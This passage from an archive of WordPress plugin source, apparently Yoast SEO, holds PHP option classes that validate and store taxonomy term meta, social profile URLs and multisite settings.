		if ( ( is_array( $this->variable_array_key_patterns ) && $this->variable_array_key_patterns !== [] ) && ( is_array( $dirty ) && $dirty !== [] ) ) {
			foreach ( $dirty as $key => $value ) {

				// Do nothing if already in filtered options.
				if ( isset( $clean[ $key ] ) ) {
					continue;
				}

				foreach ( $this->variable_array_key_patterns as $pattern ) {

					if ( strpos( $key, $pattern ) === 0 ) {
						$clean[ $key ] = $value;
						break;
					}
				}
			}
		}

		return $clean;
	}

	/**
	 * Check whether a given array key conforms to one of the variable array key patterns for this option.
	 *
	 * @used-by validate_option() methods for options with variable array keys.
	 *
	 * @param string $key Array key to check.
	 *
	 * @return string Pattern if it conforms, original array key if it doesn't or if the option
	 *                does not have variable array keys.
	 */
	protected function get_switch_key( $key ) {
		if ( ! isset( $this->variable_array_key_patterns ) || ( ! is_array( $this->variable_array_key_patterns ) || $this->variable_array_key_patterns === [] ) ) {
			return $key;
		}

		foreach ( $this->variable_array_key_patterns as $pattern ) {
			if ( strpos( $key, $pattern ) === 0 ) {
				return $pattern;
			}
		}

		return $key;
	}
}
wordpress-seo/inc/options/class-wpseo-taxonomy-meta.php000064400000042543147510273100017405 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Internals\Options
 */

/**
 * Option: wpseo_taxonomy_meta.
 */
class WPSEO_Taxonomy_Meta extends WPSEO_Option {

	/**
	 * Option name.
	 *
	 * @var string
	 */
	public $option_name = 'wpseo_taxonomy_meta';

	/**
	 * Whether to include the option in the return for WPSEO_Options::get_all().
	 *
	 * @var bool
	 */
	public $include_in_all = false;

	/**
	 * Array of defaults for the option.
	 *
	 * Shouldn't be requested directly, use $this->get_defaults();
	 *
	 * {@internal Important: in contrast to most defaults, the below array format is
	 *            very bare. The real option is in the format [taxonomy_name][term_id][...]
	 *            where [...] is any of the $defaults_per_term options shown below.
	 *            This is of course taken into account in the below methods.}}
	 *
	 * @var array
	 */
	protected $defaults = [];

	/**
	 * Option name - same as $option_name property, but now also available to static methods.
	 *
	 * @var string
	 */
	public static $name;

	/**
	 * Array of defaults for individual taxonomy meta entries.
	 *
	 * @var array
	 */
	public static $defaults_per_term = [
		'wpseo_title'                    => '',
		'wpseo_desc'                     => '',
		'wpseo_canonical'                => '',
		'wpseo_bctitle'                  => '',
		'wpseo_noindex'                  => 'default',
		'wpseo_focuskw'                  => '',
		'wpseo_linkdex'                  => '',
		'wpseo_content_score'            => '',
		'wpseo_inclusive_language_score' => '',
		'wpseo_focuskeywords'            => '[]',
		'wpseo_keywordsynonyms'          => '[]',
		'wpseo_is_cornerstone'           => '0',

		// Social fields.
		'wpseo_opengraph-title'          => '',
		'wpseo_opengraph-description'    => '',
		'wpseo_opengraph-image'          => '',
		'wpseo_opengraph-image-id'       => '',
		'wpseo_twitter-title'            => '',
		'wpseo_twitter-description'      => '',
		'wpseo_twitter-image'            => '',
		'wpseo_twitter-image-id'         => '',
	];

	/**
	 * Available index options.
	 *
	 * Used for form generation and input validation.
	 *
	 * {@internal Labels (translation) added on admin_init via WPSEO_Taxonomy::translate_meta_options().}}
	 *
	 * @var array
	 */
	public static $no_index_options = [
		'default' => '',
		'index'   => '',
		'noindex' => '',
	];

	/**
	 * Add the actions and filters for the option.
	 *
	 * @todo [JRF => testers] Check if the extra actions below would run into problems if an option
	 * is updated early on and if so, change the call to schedule these for a later action on add/update
	 * instead of running them straight away.
	 */
	protected function __construct() {
		parent::__construct();

		self::$name = $this->option_name;
	}

	/**
	 * Get the singleton instance of this class.
	 *
	 * @return object
	 */
	public static function get_instance() {
		if ( ! ( self::$instance instanceof self ) ) {
			self::$instance = new self();
			self::$name     = self::$instance->option_name;
		}

		return self::$instance;
	}

	/**
	 * Add extra default options received from a filter.
	 *
	 * @return void
	 */
	public function enrich_defaults() {
		$extra_defaults_per_term = apply_filters( 'wpseo_add_extra_taxmeta_term_defaults', [] );
		if ( is_array( $extra_defaults_per_term ) ) {
			self::$defaults_per_term = array_merge( $extra_defaults_per_term, self::$defaults_per_term );
		}
	}

	/**
	 * Validate the option.
	 *
	 * @param array $dirty New value for the option.
	 * @param array $clean Clean value for the option, normally the defaults.
	 * @param array $old   Old value of the option.
	 *
	 * @return array Validated clean value for the option to be saved to the database.
	 */
	protected function validate_option( $dirty, $clean, $old ) {
		/*
		 * Prevent complete validation (which can be expensive when there are lots of terms)
		 * if only one item has changed and has already been validated.
		 */
		if ( isset( $dirty['wpseo_already_validated'] ) && $dirty['wpseo_already_validated'] === true ) {
			unset( $dirty['wpseo_already_validated'] );

			return $dirty;
		}

		foreach ( $dirty as $taxonomy => $terms ) {
			/* Don't validate taxonomy - may not be registered yet and we don't want to remove valid ones. */
			if ( is_array( $terms ) && $terms !== [] ) {
				foreach ( $terms as $term_id => $meta_data ) {
					/* Only validate term if the taxonomy exists. */
					if ( taxonomy_exists( $taxonomy ) && get_term_by( 'id', $term_id, $taxonomy ) === false ) {
						/* Is this term id a special case ? */
						if ( has_filter( 'wpseo_tax_meta_special_term_id_validation_' . $term_id ) !== false ) {
							$clean[ $taxonomy ][ $term_id ] = apply_filters( 'wpseo_tax_meta_special_term_id_validation_' . $term_id, $meta_data, $taxonomy, $term_id );
						}
						continue;
					}

					if ( is_array( $meta_data ) && $meta_data !== [] ) {
						/* Validate meta data. */
						$old_meta  = self::get_term_meta( $term_id, $taxonomy );
						$meta_data = self::validate_term_meta_data( $meta_data, $old_meta );
						if ( $meta_data !== [] ) {
							$clean[ $taxonomy ][ $term_id ] = $meta_data;
						}
					}

					// Deal with special cases (for when taxonomy doesn't exist yet).
					if ( ! isset( $clean[ $taxonomy ][ $term_id ] ) && has_filter( 'wpseo_tax_meta_special_term_id_validation_' . $term_id ) !== false ) {
						$clean[ $taxonomy ][ $term_id ] = apply_filters( 'wpseo_tax_meta_special_term_id_validation_' . $term_id, $meta_data, $taxonomy, $term_id );
					}
				}
			}
		}

		return $clean;
	}

	/**
	 * Validate the meta data for one individual term and removes default values (no need to save those).
	 *
	 * @param array $meta_data New values.
	 * @param array $old_meta  The original values.
	 *
	 * @return array Validated and filtered value.
	 */
	public static function validate_term_meta_data( $meta_data, $old_meta ) {

		$clean     = self::$defaults_per_term;
		$meta_data = array_map( [ 'WPSEO_Utils', 'trim_recursive' ], $meta_data );

		if ( ! is_array( $meta_data ) || $meta_data === [] ) {
			return $clean;
		}

		foreach ( $clean as $key => $value ) {
			switch ( $key ) {

				case 'wpseo_noindex':
					if ( isset( $meta_data[ $key ] ) ) {
						if ( isset( self::$no_index_options[ $meta_data[ $key ] ] ) ) {
							$clean[ $key ] = $meta_data[ $key ];
						}
					}
					elseif ( isset( $old_meta[ $key ] ) ) {
						// Retain old value if field currently not in use.
						$clean[ $key ] = $old_meta[ $key ];
					}
					break;

				case 'wpseo_canonical':
					if ( isset( $meta_data[ $key ] ) && $meta_data[ $key ] !== '' ) {
						$url = WPSEO_Utils::sanitize_url( $meta_data[ $key ] );
						if ( $url !== '' ) {
							$clean[ $key ] = $url;
						}
						unset( $url );
					}
					break;

				case 'wpseo_bctitle':
					if ( isset( $meta_data[ $key ] ) ) {
						$clean[ $key ] = WPSEO_Utils::sanitize_text_field( $meta_data[ $key ] );
					}
					elseif ( isset( $old_meta[ $key ] ) ) {
						// Retain old value if field currently not in use.
						$clean[ $key ] = $old_meta[ $key ];
					}
					break;

				case 'wpseo_keywordsynonyms':
					if ( isset( $meta_data[ $key ] ) && is_string( $meta_data[ $key ] ) ) {
						// The data is stringified JSON. Use `json_decode` and `json_encode` around the sanitation.
						$input         = json_decode( $meta_data[ $key ], true );
						$sanitized     = array_map( [ 'WPSEO_Utils', 'sanitize_text_field' ], $input );
						$clean[ $key ] = WPSEO_Utils::format_json_encode( $sanitized );
					}
					elseif ( isset( $old_meta[ $key ] ) ) {
						// Retain old value if field currently not in use.
						$clean[ $key ] = $old_meta[ $key ];
					}
					break;

				case 'wpseo_focuskeywords':
					if ( isset( $meta_data[ $key ] ) && is_string( $meta_data[ $key ] ) ) {
						// The data is stringified JSON. Use `json_decode` and `json_encode` around the sanitation.
						$input = json_decode( $meta_data[ $key ], true );

						// This data has two known keys: `keyword` and `score`.
						$sanitized = [];
						foreach ( $input as $entry ) {
							$sanitized[] = [
								'keyword' => WPSEO_Utils::sanitize_text_field( $entry['keyword'] ),
								'score'   => WPSEO_Utils::sanitize_text_field( $entry['score'] ),
							];
						}

						$clean[ $key ] = WPSEO_Utils::format_json_encode( $sanitized );
					}
					elseif ( isset( $old_meta[ $key ] ) ) {
						// Retain old value if field currently not in use.
						$clean[ $key ] = $old_meta[ $key ];
					}
					break;

				case 'wpseo_focuskw':
				case 'wpseo_title':
				case 'wpseo_desc':
				case 'wpseo_linkdex':
				default:
					if ( isset( $meta_data[ $key ] ) && is_string( $meta_data[ $key ] ) ) {
						$clean[ $key ] = WPSEO_Utils::sanitize_text_field( $meta_data[ $key ] );
					}

					if ( $key === 'wpseo_focuskw' ) {
						$search = [
							'&lt;',
							'&gt;',
							'&#96',
							'<',
							'>',
							'`',
						];

						$clean[ $key ] = str_replace( $search, '', $clean[ $key ] );
					}
					break;
			}

			$clean[ $key ] = apply_filters( 'wpseo_sanitize_tax_meta_' . $key, $clean[ $key ], ( $meta_data[ $key ] ?? null ), ( $old_meta[ $key ] ?? null ) );
		}

		// Only save the non-default values.
		return array_diff_assoc( $clean, self::$defaults_per_term );
	}

	/**
	 * Clean a given option value.
	 * - Convert old option values to new
	 * - Fixes strings which were escaped (should have been sanitized - escaping is for output)
	 *
	 * @param array       $option_value          Old (not merged with defaults or filtered) option value to
	 *                                           clean according to the rules for this option.
	 * @param string|null $current_version       Optional. Version from which to upgrade, if not set,
	 *                                           version specific upgrades will be disregarded.
	 * @param array|null  $all_old_option_values Optional. Only used when importing old options to have
	 *                                           access to the real old values, in contrast to the saved ones.
	 *
	 * @return array Cleaned option.
	 */
	protected function clean_option( $option_value, $current_version = null, $all_old_option_values = null ) {

		/* Clean up old values and remove empty arrays. */
		if ( is_array( $option_value ) && $option_value !== [] ) {

			foreach ( $option_value as $taxonomy => $terms ) {

				if ( is_array( $terms ) && $terms !== [] ) {

					foreach ( $terms as $term_id => $meta_data ) {
						if ( ! is_array( $meta_data ) || $meta_data === [] ) {
							// Remove empty term arrays.
							unset( $option_value[ $taxonomy ][ $term_id ] );
						}
						else {
							foreach ( $meta_data as $key => $value ) {

								switch ( $key ) {
									case 'noindex':
										if ( $value === 'on' ) {
											// Convert 'on' to 'noindex'.
											$option_value[ $taxonomy ][ $term_id ][ $key ] = 'noindex';
										}
										break;

									case 'canonical':
									case 'wpseo_bctitle':
									case 'wpseo_title':
									case 'wpseo_desc':
									case 'wpseo_linkdex':
										// @todo [JRF => whomever] Needs checking, I don't have example data [JRF].
										if ( $value !== '' ) {
											// Fix incorrectly saved (encoded) canonical urls and texts.
											$option_value[ $taxonomy ][ $term_id ][ $key ] = wp_specialchars_decode( stripslashes( $value ), ENT_QUOTES );
										}
										break;

									default:
										// @todo [JRF => whomever] Needs checking, I don't have example data [JRF].
										if ( $value !== '' ) {
											// Fix incorrectly saved (escaped) text strings.
											$option_value[ $taxonomy ][ $term_id ][ $key ] = wp_specialchars_decode( $value, ENT_QUOTES );
										}
										break;
								}
							}
						}
					}
				}
				else {
					// Remove empty taxonomy arrays.
					unset( $option_value[ $taxonomy ] );
				}
			}
		}

		return $option_value;
	}

	/**
	 * Retrieve a taxonomy term's meta value(s).
	 *
	 * @param mixed       $term     Term to get the meta value for
	 *                              either (string) term name, (int) term id or (object) term.
	 * @param string      $taxonomy Name of the taxonomy to which the term is attached.
	 * @param string|null $meta     Optional. Meta value to get (without prefix).
	 *
	 * @return mixed Value for the $meta if one is given, might be the default.
	 *               If no meta is given, an array of all the meta data for the term.
	 *               False if the term does not exist or the $meta provided is invalid.
	 */
	public static function get_term_meta( $term, $taxonomy, $meta = null ) {
		/* Figure out the term id. */
		if ( is_int( $term ) ) {
			$term = get_term_by( 'id', $term, $taxonomy );
		}
		elseif ( is_string( $term ) ) {
			$term = get_term_by( 'slug', $term, $taxonomy );
		}

		if ( is_object( $term ) && isset( $term->term_id ) ) {
			$term_id = $term->term_id;
		}
		else {
			return false;
		}

		$tax_meta = self::get_term_tax_meta( $term_id, $taxonomy );

		/*
		 * Either return the complete array or a single value from it or false if the value does not exist
		 * (shouldn't happen after merge with defaults, indicates typo in request).
		 */
		if ( ! isset( $meta ) ) {
			return $tax_meta;
		}

		if ( isset( $tax_meta[ 'wpseo_' . $meta ] ) ) {
			return $tax_meta[ 'wpseo_' . $meta ];
		}

		return false;
	}

	/**
	 * Get the current queried object and return the meta value.
	 *
	 * @param string $meta The meta field that is needed.
	 *
	 * @return mixed
	 */
	public static function get_meta_without_term( $meta ) {
		$term = $GLOBALS['wp_query']->get_queried_object();
		if ( ! $term || empty( $term->taxonomy ) ) {
			return false;
		}

		return self::get_term_meta( $term, $term->taxonomy, $meta );
	}

	/**
	 * Saving the values for the given term_id.
	 *
	 * @param int    $term_id     ID of the term to save data for.
	 * @param string $taxonomy    The taxonomy the term belongs to.
	 * @param array  $meta_values The values that will be saved.
	 *
	 * @return void
	 */
	public static function set_values( $term_id, $taxonomy, array $meta_values ) {
		/* Validate the post values */
		$old   = self::get_term_meta( $term_id, $taxonomy );
		$clean = self::validate_term_meta_data( $meta_values, $old );

		self::save_clean_values( $term_id, $taxonomy, $clean );
	}

	/**
	 * Setting a single value to the term meta.
	 *
	 * @param int    $term_id    ID of the term to save data for.
	 * @param string $taxonomy   The taxonomy the term belongs to.
	 * @param string $meta_key   The target meta key to store the value in.
	 * @param string $meta_value The value of the target meta key.
	 *
	 * @return void
	 */
	public static function set_value( $term_id, $taxonomy, $meta_key, $meta_value ) {

		if ( substr( strtolower( $meta_key ), 0, 6 ) !== 'wpseo_' ) {
			$meta_key = 'wpseo_' . $meta_key;
		}

		self::set_values( $term_id, $taxonomy, [ $meta_key => $meta_value ] );
	}

	/**
	 * Find the keyword usages in the metas for the taxonomies/terms.
	 *
	 * @param string $keyword          The keyword to look for.
	 * @param string $current_term_id  The current term id.
	 * @param string $current_taxonomy The current taxonomy name.
	 *
	 * @return array
	 */
	public static function get_keyword_usage( $keyword, $current_term_id, $current_taxonomy ) {
		$tax_meta = self::get_tax_meta();

		$found = [];
		// @todo Check for terms of all taxonomies, not only the current taxonomy.
		foreach ( $tax_meta as $taxonomy_name => $terms ) {
			foreach ( $terms as $term_id => $meta_values ) {
				$is_current = ( $current_taxonomy === $taxonomy_name && (string) $current_term_id === (string) $term_id );
				if ( ! $is_current && ! empty( $meta_values['wpseo_focuskw'] ) && $meta_values['wpseo_focuskw'] === $keyword ) {
					$found[] = $term_id;
				}
			}
		}

		return [ $keyword => $found ];
	}

	/**
	 * Saving the values for the given term_id.
	 *
	 * @param int    $term_id  ID of the term to save data for.
	 * @param string $taxonomy The taxonomy the term belongs to.
	 * @param array  $clean    Array with clean values.
	 *
	 * @return void
	 */
	private static function save_clean_values( $term_id, $taxonomy, array $clean ) {
		$tax_meta = self::get_tax_meta();

		/* Add/remove the result to/from the original option value. */
		if ( $clean !== [] ) {
			$tax_meta[ $taxonomy ][ $term_id ] = $clean;
		}
		else {
			unset( $tax_meta[ $taxonomy ][ $term_id ] );
			if ( isset( $tax_meta[ $taxonomy ] ) && $tax_meta[ $taxonomy ] === [] ) {
				unset( $tax_meta[ $taxonomy ] );
			}
		}

		// Prevent complete array validation.
		$tax_meta['wpseo_already_validated'] = true;

		self::save_tax_meta( $tax_meta );
	}

	/**
	 * Getting the meta from the options.
	 *
	 * @return void|array
	 */
	private static function get_tax_meta() {
		return get_option( self::$name );
	}

	/**
	 * Saving the tax meta values to the database.
	 *
	 * @param array $tax_meta Array with the meta values for taxonomy.
	 *
	 * @return void
	 */
	private static function save_tax_meta( $tax_meta ) {
		update_option( self::$name, $tax_meta );
	}

	/**
	 * Getting the taxonomy meta for the given term_id and taxonomy.
	 *
	 * @param int    $term_id  The id of the term.
	 * @param string $taxonomy Name of the taxonomy to which the term is attached.
	 *
	 * @return array
	 */
	private static function get_term_tax_meta( $term_id, $taxonomy ) {
		$tax_meta = self::get_tax_meta();

		/* If we have data for the term, merge with defaults for complete array, otherwise set defaults. */
		if ( isset( $tax_meta[ $taxonomy ][ $term_id ] ) ) {
			return array_merge( self::$defaults_per_term, $tax_meta[ $taxonomy ][ $term_id ] );
		}

		return self::$defaults_per_term;
	}
}
wordpress-seo/inc/options/class-wpseo-option-social.php000064400000022153147510273100017356 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Internals\Options
 */

/**
 * Option: wpseo_social.
 */
class WPSEO_Option_Social extends WPSEO_Option {

	/**
	 * Option name.
	 *
	 * @var string
	 */
	public $option_name = 'wpseo_social';

	/**
	 * Array of defaults for the option.
	 *
	 * Shouldn't be requested directly, use $this->get_defaults();
	 *
	 * @var array
	 */
	protected $defaults = [
		// Form fields.
		'facebook_site'         => '', // Text field.
		'instagram_url'         => '',
		'linkedin_url'          => '',
		'myspace_url'           => '',
		'og_default_image'      => '', // Text field.
		'og_default_image_id'   => '',
		'og_frontpage_title'    => '', // Text field.
		'og_frontpage_desc'     => '', // Text field.
		'og_frontpage_image'    => '', // Text field.
		'og_frontpage_image_id' => '',
		'opengraph'             => true,
		'pinterest_url'         => '',
		'pinterestverify'       => '',
		'twitter'               => true,
		'twitter_site'          => '', // Text field.
		'twitter_card_type'     => 'summary_large_image',
		'youtube_url'           => '',
		'wikipedia_url'         => '',
		'other_social_urls'     => [],
		'mastodon_url'          => '',
	];

	/**
	 * Array of sub-options which should not be overloaded with multi-site defaults.
	 *
	 * @var array
	 */
	public $ms_exclude = [
		/* Privacy. */
		'pinterestverify',
	];

	/**
	 * Array of allowed twitter card types.
	 *
	 * While we only have the options summary and summary_large_image in the
	 * interface now, we might change that at some point.
	 *
	 * {@internal Uncomment any of these to allow them in validation *and* automatically
	 *            add them as a choice in the options page.}}
	 *
	 * @var array
	 */
	public static $twitter_card_types = [
		'summary_large_image' => '',
		// 'summary'             => '',
		// 'photo'               => '',
		// 'gallery'             => '',
		// 'app'                 => '',
		// 'player'              => '',
		// 'product'             => '',
	];

	/**
	 * Add the actions and filters for the option.
	 */
	protected function __construct() {
		parent::__construct();

		add_filter( 'admin_title', [ 'Yoast_Input_Validation', 'add_yoast_admin_document_title_errors' ] );
	}

	/**
	 * Get the singleton instance of this class.
	 *
	 * @return object
	 */
	public static function get_instance() {
		if ( ! ( self::$instance instanceof self ) ) {
			self::$instance = new self();
		}

		return self::$instance;
	}

	/**
	 * Translate/set strings used in the option defaults.
	 *
	 * @return void
	 */
	public function translate_defaults() {
		self::$twitter_card_types['summary_large_image'] = 'Summary with large image';
	}

	/**
	 * Validate the option.
	 *
	 * @param array $dirty New value for the option.
	 * @param array $clean Clean value for the option, normally the defaults.
	 * @param array $old   Old value of the option.
	 *
	 * @return array Validated clean value for the option to be saved to the database.
	 */
	protected function validate_option( $dirty, $clean, $old ) {

		foreach ( $clean as $key => $value ) {
			switch ( $key ) {
				/* Text fields. */
				case 'og_frontpage_desc':
				case 'og_frontpage_title':
					if ( isset( $dirty[ $key ] ) && $dirty[ $key ] !== '' ) {
						$clean[ $key ] = WPSEO_Utils::sanitize_text_field( $dirty[ $key ] );
					}
					break;

				case 'og_default_image_id':
				case 'og_frontpage_image_id':
					if ( isset( $dirty[ $key ] ) ) {
						$clean[ $key ] = (int) $dirty[ $key ];

						if ( $dirty[ $key ] === '' ) {
							$clean[ $key ] = $dirty[ $key ];
						}
					}
					break;

				/* URL text fields - no ftp allowed. */
				case 'facebook_site':
				case 'instagram_url':
				case 'linkedin_url':
				case 'myspace_url':
				case 'pinterest_url':
				case 'og_default_image':
				case 'og_frontpage_image':
				case 'youtube_url':
				case 'wikipedia_url':
				case 'mastodon_url':
					$this->validate_url( $key, $dirty, $old, $clean );
					break;

				case 'pinterestverify':
					$this->validate_verification_string( $key, $dirty, $old, $clean );
					break;

				/* Twitter user name. */
				case 'twitter_site':
					if ( isset( $dirty[ $key ] ) && $dirty[ $key ] !== '' ) {
						$twitter_id = $this->validate_twitter_id( $dirty[ $key ] );

						if ( $twitter_id ) {
							$clean[ $key ] = $twitter_id;
						}
						elseif ( isset( $old[ $key ] ) && $old[ $key ] !== '' ) {
								$twitter_id = sanitize_text_field( ltrim( $old[ $key ], '@' ) );
							if ( preg_match( '`^[A-Za-z0-9_]{1,25}$`', $twitter_id ) ) {
								$clean[ $key ] = $twitter_id;
							}
						}
						unset( $twitter_id );

						Yoast_Input_Validation::add_dirty_value_to_settings_errors( $key, $dirty[ $key ] );
					}
					break;

				case 'twitter_card_type':
					if ( isset( $dirty[ $key ], self::$twitter_card_types[ $dirty[ $key ] ] ) && $dirty[ $key ] !== '' ) {
						$clean[ $key ] = $dirty[ $key ];
					}
					break;

				/* Boolean fields. */
				case 'opengraph':
				case 'twitter':
					$clean[ $key ] = ( isset( $dirty[ $key ] ) ? WPSEO_Utils::validate_bool( $dirty[ $key ] ) : false );
					break;

				/* Array fields. */
				case 'other_social_urls':
					if ( isset( $dirty[ $key ] ) ) {
						$items = $dirty[ $key ];
						if ( ! is_array( $items ) ) {
							$items = json_decode( $dirty[ $key ], true );
						}

						if ( is_array( $items ) ) {
							foreach ( $items as $item_key => $item ) {
								$validated_url = $this->validate_social_url( $item );

								if ( $validated_url === false ) {
									// Restore the previous URL values, if any.
									$old_urls = ( isset( $old[ $key ] ) ) ? $old[ $key ] : [];
									foreach ( $old_urls as $old_item_key => $old_url ) {
										if ( $old_url !== '' ) {
											$url = WPSEO_Utils::sanitize_url( $old_url );
											if ( $url !== '' ) {
												$clean[ $key ][ $old_item_key ] = $url;
											}
										}
									}
									break;
								}

								// The URL format is valid, let's sanitize it.
								$url = WPSEO_Utils::sanitize_url( $validated_url );
								if ( $url !== '' ) {
									$clean[ $key ][ $item_key ] = $url;
								}
							}
						}
					}

					break;
			}
		}

		return $clean;
	}

	/**
	 * Validates a social URL.
	 *
	 * @param string $url The url to be validated.
	 *
	 * @return string|false The validated URL or false if the URL is not valid.
	 */
	public function validate_social_url( $url ) {
		$validated_url = filter_var( WPSEO_Utils::sanitize_url( trim( $url ) ), FILTER_VALIDATE_URL );

		return $validated_url;
	}

	/**
	 * Validates a twitter id.
	 *
	 * @param string $twitter_id    The twitter id to be validated.
	 * @param bool   $strip_at_sign Whether or not to strip the `@` sign.
	 *
	 * @return string|false The validated twitter id or false if it is not valid.
	 */
	public function validate_twitter_id( $twitter_id, $strip_at_sign = true ) {
		$twitter_id = ( $strip_at_sign ) ? sanitize_text_field( ltrim( $twitter_id, '@' ) ) : sanitize_text_field( $twitter_id );

		/*
		 * From the Twitter documentation about twitter screen names:
		 * Typically a maximum of 15 characters long, but some historical accounts
		 * may exist with longer names.
		 * A username can only contain alphanumeric characters (letters A-Z, numbers 0-9)
		 * with the exception of underscores.
		 *
		 * @link https://support.twitter.com/articles/101299-why-can-t-i-register-certain-usernames
		 */
		if ( preg_match( '`^[A-Za-z0-9_]{1,25}$`', $twitter_id ) ) {
			return $twitter_id;
		}

		if ( preg_match( '`^http(?:s)?://(?:www\.)?(?:twitter|x)\.com/(?P<handle>[A-Za-z0-9_]{1,25})/?$`', $twitter_id, $matches ) ) {
			return $matches['handle'];
		}

		return false;
	}

	/**
	 * Clean a given option value.
	 *
	 * @param array       $option_value          Old (not merged with defaults or filtered) option value to
	 *                                           clean according to the rules for this option.
	 * @param string|null $current_version       Optional. Version from which to upgrade, if not set,
	 *                                           version specific upgrades will be disregarded.
	 * @param array|null  $all_old_option_values Optional. Only used when importing old options to have
	 *                                           access to the real old values, in contrast to the saved ones.
	 *
	 * @return array Cleaned option.
	 */
	protected function clean_option( $option_value, $current_version = null, $all_old_option_values = null ) {

		/* Move options from very old option to this one. */
		$old_option = null;
		if ( isset( $all_old_option_values ) ) {
			// Ok, we have an import.
			if ( isset( $all_old_option_values['wpseo_indexation'] ) && is_array( $all_old_option_values['wpseo_indexation'] ) && $all_old_option_values['wpseo_indexation'] !== [] ) {
				$old_option = $all_old_option_values['wpseo_indexation'];
			}
		}
		else {
			$old_option = get_option( 'wpseo_indexation' );
		}

		if ( is_array( $old_option ) && $old_option !== [] ) {
			$move = [
				'opengraph',
			];
			foreach ( $move as $key ) {
				if ( isset( $old_option[ $key ] ) && ! isset( $option_value[ $key ] ) ) {
					$option_value[ $key ] = $old_option[ $key ];
				}
			}
			unset( $move, $key );
		}
		unset( $old_option );

		return $option_value;
	}
}
wordpress-seo/inc/options/class-wpseo-option-ms.php000064400000022345147510273100016526 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Internals\Options
 */

/**
 * Site option for Multisite installs only
 *
 * Overloads a number of methods of the abstract class to ensure the use of the correct site_option
 * WP functions.
 */
class WPSEO_Option_MS extends WPSEO_Option {

	/**
	 * Option name.
	 *
	 * @var string
	 */
	public $option_name = 'wpseo_ms';

	/**
	 * Option group name for use in settings forms.
	 *
	 * @var string
	 */
	public $group_name = 'yoast_wpseo_multisite_options';

	/**
	 * Whether to include the option in the return for WPSEO_Options::get_all().
	 *
	 * @var bool
	 */
	public $include_in_all = false;

	/**
	 * Whether this option is only for when the install is multisite.
	 *
	 * @var bool
	 */
	public $multisite_only = true;

	/**
	 * Array of defaults for the option.
	 *
	 * Shouldn't be requested directly, use $this->get_defaults();
	 *
	 * @var array
	 */
	protected $defaults = [];

	/**
	 * Available options for the 'access' setting. Used for input validation.
	 *
	 * {@internal Important: Make sure the options added to the array here are in line
	 *            with the keys for the options set for the select box in the
	 *            admin/pages/network.php file.}}
	 *
	 * @var array
	 */
	public static $allowed_access_options = [
		'admin',
		'superadmin',
	];

	/**
	 * Get the singleton instance of this class.
	 *
	 * @return object
	 */
	public static function get_instance() {
		if ( ! ( self::$instance instanceof self ) ) {
			self::$instance = new self();
		}

		return self::$instance;
	}

	/**
	 * Only run parent constructor in multisite context.
	 */
	public function __construct() {
		$allow_prefix   = self::ALLOW_KEY_PREFIX;
		$this->defaults = [
			'access'                                            => 'admin',
			'defaultblog'                                       => '', // Numeric blog ID or empty.
			"{$allow_prefix}disableadvanced_meta"               => true,
			"{$allow_prefix}ryte_indexability"                  => false,
			"{$allow_prefix}content_analysis_active"            => true,
			"{$allow_prefix}keyword_analysis_active"            => true,
			"{$allow_prefix}inclusive_language_analysis_active" => true,
			"{$allow_prefix}enable_admin_bar_menu"              => true,
			"{$allow_prefix}enable_cornerstone_content"         => true,
			"{$allow_prefix}enable_xml_sitemap"                 => true,
			"{$allow_prefix}enable_text_link_counter"           => true,
			"{$allow_prefix}enable_headless_rest_endpoints"     => true,
			"{$allow_prefix}enable_metabox_insights"            => true,
			"{$allow_prefix}enable_link_suggestions"            => true,
			"{$allow_prefix}tracking"                           => true,
			"{$allow_prefix}enable_enhanced_slack_sharing"      => true,
			"{$allow_prefix}semrush_integration_active"         => true,
			"{$allow_prefix}wincher_integration_active"         => false,
			"{$allow_prefix}remove_feed_global"                 => true,
			"{$allow_prefix}remove_feed_global_comments"        => true,
			"{$allow_prefix}remove_feed_post_comments"          => true,
			"{$allow_prefix}enable_index_now"                   => true,
			"{$allow_prefix}enable_ai_generator"                => true,
			"{$allow_prefix}remove_feed_authors"                => true,
			"{$allow_prefix}remove_feed_categories"             => true,
			"{$allow_prefix}remove_feed_tags"                   => true,
			"{$allow_prefix}remove_feed_custom_taxonomies"      => true,
			"{$allow_prefix}remove_feed_post_types"             => true,
			"{$allow_prefix}remove_feed_search"                 => true,
			"{$allow_prefix}remove_atom_rdf_feeds"              => true,
			"{$allow_prefix}remove_shortlinks"                  => true,
			"{$allow_prefix}remove_rest_api_links"              => true,
			"{$allow_prefix}remove_rsd_wlw_links"               => true,
			"{$allow_prefix}remove_oembed_links"                => true,
			"{$allow_prefix}remove_generator"                   => true,
			"{$allow_prefix}remove_emoji_scripts"               => true,
			"{$allow_prefix}remove_powered_by_header"           => true,
			"{$allow_prefix}remove_pingback_header"             => true,
			"{$allow_prefix}clean_campaign_tracking_urls"       => true,
			"{$allow_prefix}clean_permalinks"                   => true,
			"{$allow_prefix}search_cleanup"                     => true,
			"{$allow_prefix}search_cleanup_emoji"               => true,
			"{$allow_prefix}search_cleanup_patterns"            => true,
			"{$allow_prefix}redirect_search_pretty_urls"        => true,
			"{$allow_prefix}algolia_integration_active"         => true,
		];

		if ( is_multisite() ) {
			parent::__construct();

			add_filter( 'admin_title', [ 'Yoast_Input_Validation', 'add_yoast_admin_document_title_errors' ] );
		}
	}

	/**
	 * Add filters to make sure that the option default is returned if the option is not set
	 *
	 * @return void
	 */
	public function add_default_filters() {
		// Don't change, needs to check for false as could return prio 0 which would evaluate to false.
		if ( has_filter( 'default_site_option_' . $this->option_name, [ $this, 'get_defaults' ] ) === false ) {
			add_filter( 'default_site_option_' . $this->option_name, [ $this, 'get_defaults' ] );
		}
	}

	/**
	 * Remove the default filters.
	 * Called from the validate() method to prevent failure to add new options.
	 *
	 * @return void
	 */
	public function remove_default_filters() {
		remove_filter( 'default_site_option_' . $this->option_name, [ $this, 'get_defaults' ] );
	}

	/**
	 * Add filters to make sure that the option is merged with its defaults before being returned.
	 *
	 * @return void
	 */
	public function add_option_filters() {
		// Don't change, needs to check for false as could return prio 0 which would evaluate to false.
		if ( has_filter( 'site_option_' . $this->option_name, [ $this, 'get_option' ] ) === false ) {
			add_filter( 'site_option_' . $this->option_name, [ $this, 'get_option' ] );
		}
	}

	/**
	 * Remove the option filters.
	 * Called from the clean_up methods to make sure we retrieve the original old option.
	 *
	 * @return void
	 */
	public function remove_option_filters() {
		remove_filter( 'site_option_' . $this->option_name, [ $this, 'get_option' ] );
	}

